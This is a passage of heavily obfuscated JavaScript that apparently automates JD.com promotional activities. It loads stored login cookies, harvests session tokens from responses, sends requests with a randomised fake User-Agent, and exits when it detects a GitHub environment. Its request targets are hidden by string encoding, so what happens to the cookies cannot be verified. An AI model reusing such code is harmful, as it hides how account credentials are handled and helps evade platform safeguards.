_0x59cb5d[_0x5a8a('11e')],_0x5c8ca5[_0x5a8a('11f')]))$[_0x5a8a('52')]=_0x59cb5d[_0x5a8a('11e')];}else if(_0x5c8ca5[_0x5a8a('11a')](typeof _0x59cb5d,_0x5c8ca5[_0x5a8a('11b')])&&_0x59cb5d[_0x5a8a('120')]){console[_0x5a8a('8')](_0x5a8a('121')+(_0x59cb5d[_0x5a8a('120')]||''));}else{if(_0x5c8ca5[_0x5a8a('122')](_0x5c8ca5[_0x5a8a('123')],_0x5c8ca5[_0x5a8a('124')])){e=_0x5c8ca5[_0x5a8a('125')](e,0x20);let _0x2ab9b9=_0x5c8ca5[_0x5a8a('126')],_0x3037ed=_0x2ab9b9[_0x5a8a('29')],_0x6c9b28='';for(i=0x0;_0x5c8ca5[_0x5a8a('127')](i,e);i++)_0x6c9b28+=_0x2ab9b9[_0x5a8a('128')](Math[_0x5a8a('69')](_0x5c8ca5[_0x5a8a('129')](Math[_0x5a8a('6b')](),_0x3037ed)));return _0x6c9b28;}else{console[_0x5a8a('8')](_0x172f94);}}break;case _0x5c8ca5[_0x5a8a('12a')]:break;case _0x5c8ca5[_0x5a8a('12b')]:if(_0x5c8ca5[_0x5a8a('11a')](typeof _0x59cb5d,_0x5c8ca5[_0x5a8a('11b')])&&_0x59cb5d[_0x5a8a('12c')]&&_0x5c8ca5[_0x5a8a('122')](_0x59cb5d[_0x5a8a('12c')],!![])){if(_0x59cb5d[_0x5a8a('12d')]&&_0x5c8ca5[_0x5a8a('11d')](typeof _0x59cb5d[_0x5a8a('12d')][_0x5a8a('12e')],_0x5c8ca5[_0x5a8a('11f')]))$[_0x5a8a('53')]=_0x59cb5d[_0x5a8a('12d')][_0x5a8a('12e')];if(_0x59cb5d[_0x5a8a('12d')]&&_0x5c8ca5[_0x5a8a('12f')](typeof _0x59cb5d[_0x5a8a('12d')][_0x5a8a('b8')],_0x5c8ca5[_0x5a8a('11f')]))$[_0x5a8a('b8')]=_0x59cb5d[_0x5a8a('12d')][_0x5a8a('b8')];}else if(_0x5c8ca5[_0x5a8a('130')](typeof _0x59cb5d,_0x5c8ca5[_0x5a8a('11b')])&&_0x59cb5d[_0x5a8a('ff')]){console[_0x5a8a('8')](_0x225544+'\x20'+(_0x59cb5d[_0x5a8a('ff')]||''));}else{console[_0x5a8a('8')](_0x225544+'\x20'+_0x172f94);}break;case _0x5c8ca5[_0x5a8a('131')]:if(_0x5c8ca5[_0x5a8a('132')](typeof _0x59cb5d,_0x5c8ca5[_0x5a8a('11b')])&&_0x59cb5d[_0x5a8a('12c')]&&_0x5c8ca5[_0x5a8a('133')](_0x59cb5d[_0x5a8a('12c')],!![])){if(_0x59cb5d[_0x5a8a('12d')]&&_0x5c8ca5[_0x5a8a('134')](typeof _0x59cb5d[_0x5a8a('12d')][_0x5a8a('135')],_0x5c8ca5[_0x5a8a('11f')]))$[_0x5a8a('61')]=_0x59cb5d[_0x5a8a('12d')][_0x5a8a('135')]||_0x5c8ca5[_0x5a8a('136')];}else if(_0x5c8ca5[_0x5a8a('137')](typeof _0x59cb5d,_0x5c8ca5[_0x5a8a('11b')])&&_0x59cb5d[_0x5a8a('ff')]){console[_0x5a8a('8')](_0x225544+'\x20'+(_0x59cb5d[_0x5a8a('ff')]||''));}else{if(_0x5c8ca5[_0x5a8a('138')](_0x5c8ca5[_0x5a8a('139')],_0x5c8ca5[_0x5a8a('139')])){if(resp&&resp[_0x5a8a('e9')]&&_0x5c8ca5[_0x5a8a('11a')](resp[_0x5a8a('e9')],0x1ed)){console[_0x5a8a('8')](_0x5c8ca5[_0x5a8a('13a')]);$[_0x5a8a('12')]=!![];}console[_0x5a8a('8')](''+$[_0x5a8a('ec')](err,err));console[_0x5a8a('8')](_0x225544+_0x5a8a('ed'));}else{console[_0x5a8a('8')](_0x225544+'\x20'+_0x172f94);}}break;case _0x5c8ca5[_0x5a8a('13b')]:if(_0x5c8ca5[_0x5a8a('13c')](typeof _0x59cb5d,_0x5c8ca5[_0x5a8a('11b')])&&_0x59cb5d[_0x5a8a('12c')]&&_0x5c8ca5[_0x5a8a('13d')](_0x59cb5d[_0x5a8a('12c')],!![])){if(_0x5c8ca5[_0x5a8a('13e')](typeof _0x59cb5d[_0x5a8a('12d')][_0x5a8a('c7')],_0x5c8ca5[_0x5a8a('11f')]))$[_0x5a8a('c7')]=_0x59cb5d[_0x5a8a('12d')][_0x5a8a('c7')];if(_0x5c8ca5[_0x5a8a('13f')](typeof _0x59cb5d[_0x5a8a('12d')][_0x5a8a('54')],_0x5c8ca5[_0x5a8a('11f')]))$[_0x5a8a('54')]=_0x59cb5d[_0x5a8a('12d')][_0x5a8a('54')];}else if(_0x5c8ca5[_0x5a8a('140')](typeof _0x59cb5d,_0x5c8ca5[_0x5a8a('11b')])&&_0x59cb5d[_0x5a8a('ff')]){if(_0x5c8ca5[_0x5a8a('138')](_0x5c8ca5[_0x5a8a('141')],_0x5c8ca5[_0x5a8a('142')])){console[_0x5a8a('8')](_0x225544+'\x20'+(_0x59cb5d[_0x5a8a('ff')]||''));}else{if(_0x5c8ca5[_0x5a8a('143')](typeof _0x59cb5d[_0x5a8a('11e')],_0x5c8ca5[_0x5a8a('11f')]))$[_0x5a8a('52')]=_0x59cb5d[_0x5a8a('11e')];}}else{if(_0x5c8ca5[_0x5a8a('138')](_0x5c8ca5[_0x5a8a('144')],_0x5c8ca5[_0x5a8a('145')])){console[_0x5a8a('8')](_0x225544+'\x20'+_0x172f94);}else{cookiesArr=[$[_0x5a8a('9')](_0x5c8ca5[_0x5a8a('146')]),$[_0x5a8a('9')](_0x5c8ca5[_0x5a8a('147')]),..._0x5c8ca5[_0x5a8a('148')](jsonParse,$[_0x5a8a('9')](_0x5c8ca5[_0x5a8a('149')])||'[]')[_0x5a8a('d')](_0x1ade5f=>_0x1ade5f[_0x5a8a('e')])][_0x5a8a('f')](_0x3b0efc=>!!_0x3b0efc);}}break;case _0x5c8ca5[_0x5a8a('14a')]:if(_0x5c8ca5[_0x5a8a('140')](typeof _0x59cb5d,_0x5c8ca5[_0x5a8a('11b')])&&_0x59cb5d[_0x5a8a('12c')]&&_0x5c8ca5[_0x5a8a('13d')](_0x59cb5d[_0x5a8a('12c')],!![])){if(_0x5c8ca5[_0x5a8a('14b')](_0x5c8ca5[_0x5a8a('14c')],_0x5c8ca5[_0x5a8a('14d')])){headers[_0x5c8ca5[_0x5a8a('14e')]]=_0x5a8a('14f')+body[_0x5a8a('150')];headers[_0x5c8ca5[_0x5a8a('151')]]=_0x5c8ca5[_0x5a8a('152')];body=body[_0x5a8a('153')];}else{if(_0x59cb5d[_0x5a8a('12d')][_0x5a8a('154')]){if(_0x5c8ca5[_0x5a8a('155')](_0x5c8ca5[_0x5a8a('156')],_0x5c8ca5[_0x5a8a('157')])){_0x59cb5d=JSON[_0x5a8a('59')](_0x172f94);}else{console[_0x5a8a('8')](_0x5a8a('158')+(_0x59cb5d[_0x5a8a('12d')][_0x5a8a('99')]&&_0x5c8ca5[_0x5a8a('159')](_0x59cb5d[_0x5a8a('12d')][_0x5a8a('99')],'豆豆')||_0x172f94));}}else{console[_0x5a8a('8')](_0x5a8a('15a')+_0x172f94);}}}else if(_0x5c8ca5[_0x5a8a('140')](typeof _0x59cb5d,_0x5c8ca5[_0x5a8a('11b')])&&_0x59cb5d[_0x5a8a('ff')]){console[_0x5a8a('8')](_0x225544+'\x20'+(_0x59cb5d[_0x5a8a('ff')]||''));}else{console[_0x5a8a('8')](_0x225544+'\x20'+_0x172f94);}break;case _0x5c8ca5[_0x5a8a('15b')]:case _0x5c8ca5[_0x5a8a('15c')]:case _0x5c8ca5[_0x5a8a('15d')]:case _0x5c8ca5[_0x5a8a('114')]:break;default:console[_0x5a8a('8')](_0x225544+_0x5a8a('15e')+_0x172f94);}if(_0x5c8ca5[_0x5a8a('15f')](typeof _0x59cb5d,_0x5c8ca5[_0x5a8a('11b')])&&_0x59cb5d[_0x5a8a('ff')]){if(_0x5c8ca5[_0x5a8a('160')](_0x59cb5d[_0x5a8a('ff')][_0x5a8a('22')]('火爆'),-0x1)){$[_0x5a8a('11')]=!![];}}}function getPostRequest(_0x11fe76,_0x5af05c,_0x147e8a=_0x5a8a('8f')){var _0xb96b54={'EwxFR':function(_0x31c53e,_0x2f0239){return _0x31c53e(_0x2f0239);},'PxpZI':function(_0x2bd3ab,_0x1ddf25){return _0x2bd3ab==_0x1ddf25;},'vikSw':_0x5a8a('88'),'ckRVb':_0x5a8a('161'),'VKliH':_0x5a8a('162'),'hVFex':_0x5a8a('163'),'LWIFR':_0x5a8a('164'),'HocCK':_0x5a8a('165'),'Hcvlc':function(_0x5a8045,_0x1b1ffd){return _0x5a8045>_0x1b1ffd;},'Lncup':_0x5a8a('166'),'TNSpE':function(_0x561551,_0x194d14){return _0x561551!==_0x194d14;},'TKrKx':_0x5a8a('167'),'mdtrP':_0x5a8a('168'),'fdZRu':_0x5a8a('169'),'yJpCE':_0x5a8a('16a'),'geKdN':_0x5a8a('16b'),'CdFGR':function(_0x3d3db9,_0x437084){return _0x3d3db9&&_0x437084;},'fmuoZ':function(_0x160762,_0xa8df37){return _0x160762+_0xa8df37;},'ITwhP':function(_0x14a556,_0x1aafbc){return _0x14a556+_0x1aafbc;},'zkivg':_0x5a8a('16c'),'bXLkD':_0x5a8a('8f'),'dxMyc':_0x5a8a('103'),'WVnwa':_0x5a8a('16d'),'rxWsw':_0x5a8a('104'),'ljqHj':_0x5a8a('16e'),'GEfnX':function(_0x4d9552,_0xcd62cc){return _0x4d9552>_0xcd62cc;},'BSAiE':_0x5a8a('16f'),'DigWg':_0x5a8a('107'),'FjPvF':function(_0x29f05f,_0x3a1dd6){return _0x29f05f!==_0x3a1dd6;},'AALKr':_0x5a8a('170'),'HPIQw':_0x5a8a('171'),'aqows':_0x5a8a('105')};let _0x7ae722=cookie;let _0x26bd4e='';let _0x21089f={'Accept':_0xb96b54[_0x5a8a('172')],'Accept-Language':_0xb96b54[_0x5a8a('173')],'Accept-Encoding':_0xb96b54[_0x5a8a('174')],'Connection':_0xb96b54[_0x5a8a('175')],'Cookie':''+_0x7ae722,'X-Requested-With':_0xb96b54[_0x5a8a('176')],'User-Agent':''+(UA||$['UA'])};if(_0xb96b54[_0x5a8a('177')](_0x11fe76[_0x5a8a('22')](_0xb96b54[_0x5a8a('178')]),-0x1)){if(_0xb96b54[_0x5a8a('179')](_0xb96b54[_0x5a8a('17a')],_0xb96b54[_0x5a8a('17b')])){_0x21089f[_0xb96b54[_0x5a8a('17c')]]=_0x5a8a('a9')+$[_0x5a8a('46')];_0x21089f[_0xb96b54[_0x5a8a('17d')]]=_0x5a8a('17e');_0x21089f[_0xb96b54[_0x5a8a('17f')]]=''+(_0xb96b54[_0x5a8a('180')](lz_jdpin_token_cookie,lz_jdpin_token_cookie)||'')+($[_0x5a8a('53')]&&_0xb96b54[_0x5a8a('181')](_0xb96b54[_0x5a8a('182')](_0xb96b54[_0x5a8a('183')],$[_0x5a8a('53')]),';')||'')+activityCookie;}else{_0xb96b54[_0x5a8a('184')](setActivityCookie,resp);if(err){if(resp[_0x5a8a('e9')]&&_0xb96b54[_0x5a8a('185')](resp[_0x5a8a('e9')],0x1ed)){console[_0x5a8a('8')](_0xb96b54[_0x5a8a('186')]);$[_0x5a8a('12')]=!![];}console[_0x5a8a('8')](''+$[_0x5a8a('ec')](err));console[_0x5a8a('8')]($[_0x5a8a('26')]+_0x5a8a('187'));}else{}}}if(_0xb96b54[_0x5a8a('185')](_0x147e8a,_0xb96b54[_0x5a8a('188')])){_0x21089f[_0xb96b54[_0x5a8a('189')]]=_0xb96b54[_0x5a8a('18a')];_0x21089f[_0xb96b54[_0x5a8a('18b')]]=_0xb96b54[_0x5a8a('18c')];}if(_0xb96b54[_0x5a8a('18d')](_0x11fe76[_0x5a8a('22')](_0xb96b54[_0x5a8a('18e')]),-0x1)&&_0xb96b54[_0x5a8a('185')](typeof _0x5af05c,_0xb96b54[_0x5a8a('18f')])&&_0x5af05c[_0x5a8a('150')]){if(_0xb96b54[_0x5a8a('190')](_0xb96b54[_0x5a8a('191')],_0xb96b54[_0x5a8a('192')])){_0x21089f[_0xb96b54[_0x5a8a('189')]]=_0x5a8a('14f')+_0x5af05c[_0x5a8a('150')];_0x21089f[_0xb96b54[_0x5a8a('18b')]]=_0xb96b54[_0x5a8a('193')];_0x5af05c=_0x5af05c[_0x5a8a('153')];}else{console[_0x5a8a('8')](_0x5a8a('5a'));return;}}return{'url':_0x11fe76,'method':_0x147e8a,'headers':_0x21089f,'body':_0x5af05c,'timeout':0x7530};}function getIndex(){var _0x1d0f10={'jANcI':function(_0x45d5ad){return _0x45d5ad();},'kUhiM':_0x5a8a('161'),'QzaGl':_0x5a8a('162'),'zilKo':_0x5a8a('163'),'Qzjbi':_0x5a8a('164'),'FfjGe':function(_0x1c7a49,_0x56f98a){return _0x1c7a49&&_0x56f98a;},'kBZHx':function(_0x452532,_0x44ccc1){return _0x452532+_0x44ccc1;},'QDVSJ':function(_0x30daf2,_0x190e2c){return _0x30daf2+_0x190e2c;},'NvUJW':_0x5a8a('16c')};return new Promise(_0x35e1c2=>{let _0x4d952f={'url':_0x5a8a('194')+$[_0x5a8a('c7')]+_0x5a8a('195')+$[_0x5a8a('53')],'headers':{'Accept':_0x1d0f10[_0x5a8a('196')],'Accept-Language':_0x1d0f10[_0x5a8a('197')],'Accept-Encoding':_0x1d0f10[_0x5a8a('198')],'Connection':_0x1d0f10[_0x5a8a('199')],'Cookie':''+(_0x1d0f10[_0x5a8a('19a')](lz_jdpin_token_cookie,lz_jdpin_token_cookie)||'')+($[_0x5a8a('53')]&&_0x1d0f10[_0x5a8a('19b')](_0x1d0f10[_0x5a8a('19c')](_0x1d0f10[_0x5a8a('19d')],$[_0x5a8a('53')]),';')||'')+activityCookie,'Referer':_0x5a8a('a9')+$[_0x5a8a('46')],'User-Agent':$['UA']}};$[_0x5a8a('19e')](_0x4d952f,async(_0x190fff,_0x5637ac,_0x43a296)=>{try{}catch(_0x5125d1){$[_0x5a8a('36')](_0x5125d1,_0x5637ac);}finally{_0x1d0f10[_0x5a8a('19f')](_0x35e1c2);}});});}function getCk(){var _0x398dde={'ImYxL':function(_0x176183,_0x3e1428){return _0x176183(_0x3e1428);},'UuofW':function(_0x598fa0,_0x40d2f4){return _0x598fa0===_0x40d2f4;},'atDAa':_0x5a8a('1a0'),'umrIX':function(_0x3d0a8a,_0x2a42ab){return _0x3d0a8a==_0x2a42ab;},'XMoLt':function(_0x552963,_0x4a48ae){return _0x552963===_0x4a48ae;},'FMTZb':_0x5a8a('1a1'),'mmSoa':_0x5a8a('88'),'FiELW':function(_0x1b5496){return _0x1b5496();},'yOYQb':_0x5a8a('169'),'JsaXB':_0x5a8a('16a'),'OENBP':_0x5a8a('16b'),'mFYcK':function(_0x2cb34d,_0x5a9679){return _0x2cb34d&&_0x5a9679;},'fdihT':function(_0x1d1107,_0x3bf410){return _0x1d1107+_0x3bf410;},'mQTNy':function(_0x4057e3,_0x574a7f){return _0x4057e3+_0x574a7f;},'XktCu':_0x5a8a('16c')};return new Promise(_0x4813f1=>{var _0x3d3253={'aVBaM':_0x398dde[_0x5a8a('1a2')],'jxcfN':_0x398dde[_0x5a8a('1a3')],'fFsAE':_0x398dde[_0x5a8a('1a4')],'WzOal':function(_0x3b1ad6,_0x1a183a){return _0x398dde[_0x5a8a('1a5')](_0x3b1ad6,_0x1a183a);},'diDTR':function(_0x13f7b7,_0x1562d9){return _0x398dde[_0x5a8a('1a6')](_0x13f7b7,_0x1562d9);},'ZSZql':function(_0x592b17,_0x3038d1){return _0x398dde[_0x5a8a('1a7')](_0x592b17,_0x3038d1);},'rjHUF':_0x398dde[_0x5a8a('1a8')]};let _0x2c0e21={'url':_0x5a8a('a9')+$[_0x5a8a('46')],'followRedirect':![],'headers':{'User-Agent':$['UA']}};$[_0x5a8a('19e')](_0x2c0e21,async(_0x5a7ce3,_0x159bed,_0xe58aec)=>{try{_0x398dde[_0x5a8a('1a9')](setActivityCookie,_0x159bed);if(_0x5a7ce3){if(_0x398dde[_0x5a8a('1aa')](_0x398dde[_0x5a8a('1ab')],_0x398dde[_0x5a8a('1ab')])){if(_0x159bed[_0x5a8a('e9')]&&_0x398dde[_0x5a8a('1ac')](_0x159bed[_0x5a8a('e9')],0x1ed)){if(_0x398dde[_0x5a8a('1ad')](_0x398dde[_0x5a8a('1ae')],_0x398dde[_0x5a8a('1ae')])){console[_0x5a8a('8')](_0x398dde[_0x5a8a('1af')]);$[_0x5a8a('12')]=!![];}else{headers[_0x3d3253[_0x5a8a('1b0')]]=_0x5a8a('a9')+$[_0x5a8a('46')];headers[_0x3d3253[_0x5a8a('1b1')]]=_0x5a8a('17e');headers[_0x3d3253[_0x5a8a('1b2')]]=''+(_0x3d3253[_0x5a8a('1b3')](lz_jdpin_token_cookie,lz_jdpin_token_cookie)||'')+($[_0x5a8a('53')]&&_0x3d3253[_0x5a8a('1b4')](_0x3d3253[_0x5a8a('1b5')](_0x3d3253[_0x5a8a('1b6')],$[_0x5a8a('53')]),';')||'')+activityCookie;}}console[_0x5a8a('8')](''+$[_0x5a8a('ec')](_0x5a7ce3));console[_0x5a8a('8')]($[_0x5a8a('26')]+_0x5a8a('187'));}else{console[_0x5a8a('8')](type+'\x20'+_0xe58aec);}}else{}}catch(_0x36085c){$[_0x5a8a('36')](_0x36085c,_0x159bed);}finally{_0x398dde[_0x5a8a('1b7')](_0x4813f1);}});});}function setActivityCookie(_0x37c459){var _0x1112af={'KKzEC':_0x5a8a('3b'),'kbBFP':_0x5a8a('1b8'),'iBVSq':_0x5a8a('1b9'),'OgImu':_0x5a8a('1ba'),'DvozQ':function(_0x6b59c5,_0x54663e){return _0x6b59c5!==_0x54663e;},'jUbYD':_0x5a8a('1bb'),'kBeNB':function(_0x79dec7,_0x5dc52f){return _0x79dec7!=_0x5dc52f;},'CtksI':_0x5a8a('107'),'XIVje':function(_0x51083f,_0x57d0e9){return _0x51083f>_0x57d0e9;},'qDUxz':_0x5a8a('84'),'zXShX':function(_0x2e8eea,_0xd2599e){return _0x2e8eea+_0xd2599e;},'cuvDx':function(_0x400c18,_0x260fc9){return _0x400c18>_0x260fc9;},'xSGxV':_0x5a8a('85'),'RNXyF':_0x5a8a('86'),'AffYj':function(_0xa5a0de,_0x27fc74){return _0xa5a0de+_0x27fc74;},'ZnEtK':function(_0x77717c,_0x13c47c){return _0x77717c+_0x13c47c;},'YHmCU':function(_0xa0393e,_0x1e910a){return _0xa0393e&&_0x1e910a;}};let _0x12155d='';let _0x5b5cbb='';let _0x1c7325='';let _0x1741b4=_0x37c459&&_0x37c459[_0x1112af[_0x5a8a('1bc')]]&&(_0x37c459[_0x1112af[_0x5a8a('1bc')]][_0x1112af[_0x5a8a('1bd')]]||_0x37c459[_0x1112af[_0x5a8a('1bc')]][_0x1112af[_0x5a8a('1be')]]||'')||'';let _0x30de06='';if(_0x1741b4){if(_0x1112af[_0x5a8a('1bf')](_0x1112af[_0x5a8a('1c0')],_0x1112af[_0x5a8a('1c0')])){console[_0x5a8a('8')](_0x1112af[_0x5a8a('1c1')]);return;}else{if(_0x1112af[_0x5a8a('1c2')](typeof _0x1741b4,_0x1112af[_0x5a8a('1c3')])){_0x30de06=_0x1741b4[_0x5a8a('4a')](',');}else _0x30de06=_0x1741b4;for(let _0x548856 of _0x30de06){let _0x3c60d2=_0x548856[_0x5a8a('4a')](';')[0x0][_0x5a8a('f1')]();if(_0x3c60d2[_0x5a8a('4a')]('=')[0x1]){if(_0x1112af[_0x5a8a('1c4')](_0x3c60d2[_0x5a8a('22')](_0x1112af[_0x5a8a('1c5')]),-0x1))_0x12155d=_0x1112af[_0x5a8a('1c6')](_0x3c60d2[_0x5a8a('f5')](/ /g,''),';');if(_0x1112af[_0x5a8a('1c7')](_0x3c60d2[_0x5a8a('22')](_0x1112af[_0x5a8a('1c8')]),-0x1))_0x5b5cbb=_0x1112af[_0x5a8a('1c6')](_0x3c60d2[_0x5a8a('f5')](/ /g,''),';');if(_0x1112af[_0x5a8a('1c7')](_0x3c60d2[_0x5a8a('22')](_0x1112af[_0x5a8a('1c9')]),-0x1))_0x1c7325=_0x1112af[_0x5a8a('1ca')](_0x1112af[_0x5a8a('1cb')]('',_0x3c60d2[_0x5a8a('f5')](/ /g,'')),';');}}}}if(_0x1112af[_0x5a8a('1cc')](_0x12155d,_0x5b5cbb))activityCookie=_0x12155d+'\x20'+_0x5b5cbb;if(_0x1c7325)lz_jdpin_token_cookie=_0x1c7325;}async function getUA(){var _0x4515ab={'qPFvd':function(_0x1eba17,_0x55cb15){return _0x1eba17(_0x55cb15);}};$['UA']=_0x5a8a('1cd')+_0x4515ab[_0x5a8a('1ce')](randomString,0x28)+_0x5a8a('1cf');}function randomString(_0x226690){var _0x24b44={'bPOdL':function(_0x28303e,_0x46c3f3){return _0x28303e||_0x46c3f3;},'XNmnY':_0x5a8a('101'),'pTNLn':function(_0x185223,_0xe7fffa){return _0x185223<_0xe7fffa;},'BFERX':function(_0x4a6192,_0x283bc3){return _0x4a6192*_0x283bc3;}};_0x226690=_0x24b44[_0x5a8a('1d0')](_0x226690,0x20);let _0x6863=_0x24b44[_0x5a8a('1d1')],_0x39ac24=_0x6863[_0x5a8a('29')],_0xee0e91='';for(i=0x0;_0x24b44[_0x5a8a('1d2')](i,_0x226690);i++)_0xee0e91+=_0x6863[_0x5a8a('128')](Math[_0x5a8a('69')](_0x24b44[_0x5a8a('1d3')](Math[_0x5a8a('6b')](),_0x39ac24)));return _0xee0e91;}function jsonParse(_0x861566){var _0x12ad2a={'elhPB':_0x5a8a('88'),'dNPHJ':function(_0xfd39f2,_0x3eee1b){return _0xfd39f2==_0x3eee1b;},'kgIKj':_0x5a8a('1d4'),'jCFxa':function(_0x316797,_0x50bd9e){return _0x316797===_0x50bd9e;},'CWfOz':_0x5a8a('1d5'),'HBUuM':_0x5a8a('8c')};if(_0x12ad2a[_0x5a8a('1d6')](typeof _0x861566,_0x12ad2a[_0x5a8a('1d7')])){if(_0x12ad2a[_0x5a8a('1d8')](_0x12ad2a[_0x5a8a('1d9')],_0x12ad2a[_0x5a8a('1d9')])){try{return JSON[_0x5a8a('59')](_0x861566);}catch(_0x315d3d){console[_0x5a8a('8')](_0x315d3d);$[_0x5a8a('25')]($[_0x5a8a('26')],'',_0x12ad2a[_0x5a8a('1da')]);return[];}}else{console[_0x5a8a('8')](_0x12ad2a[_0x5a8a('1db')]);$[_0x5a8a('12')]=!![];}}};_0xodp='jsjiami.com.v6'; -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return 